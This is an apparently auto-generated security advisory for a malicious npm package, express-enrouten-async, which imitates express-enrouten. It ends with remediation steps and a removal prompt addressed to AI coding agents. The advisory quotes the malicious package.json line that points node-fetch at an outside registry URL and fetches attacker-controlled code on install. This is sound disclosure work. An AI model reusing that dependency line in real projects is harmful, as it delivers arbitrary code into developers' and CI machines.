# MAL-2026-4556: Malicious code in express-enrouten-async (npm)


- **Type:** Malicious package
- **Package:** `express-enrouten-async` (npm)
- **Published:** 22 May 2026
- **Also known as:** GHSA-25jv-xr7c-mx67

## What is MAL-2026-4556?

MAL-2026-4556 is a malicious package in express-enrouten-async, published on 22 May 2026. 

### Official description

Package name mimics the legitimate `express-enrouten` route-discovery library, but the shipped `index.js` only hardcodes two demo routes rather than implementing automatic route discovery. The malicious mechanism is in `package.json`, which declares `"node-fetch": "https://registry.ctzbg.com/express-enrouten-async/node-fetch"` — a direct URL dependency pointing at a third-party, non-npm registry under a path namespaced to this package. On `npm install`, npm fetches and installs whatever tarball that URL serves as the installer's `node-fetch`, so any code requiring `node-fetch` in the host application loads attacker-controlled, unpinned, mutable bytes from a non-publisher domain. This is dependency-confusion-style supply-chain attack: the lookalike package name lures the install, and the URL-pinned fake `node-fetch` is the delivery vehicle for arbitrary code into the installer's dependency tree.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4556?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4556 is a malicious package: express-enrouten-async (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4556/ (Markdown: https://insights.sbomify.com/MAL-2026-4556/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4556

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-4556/
Summaries are generated and may contain mistakes; the official description above is the record.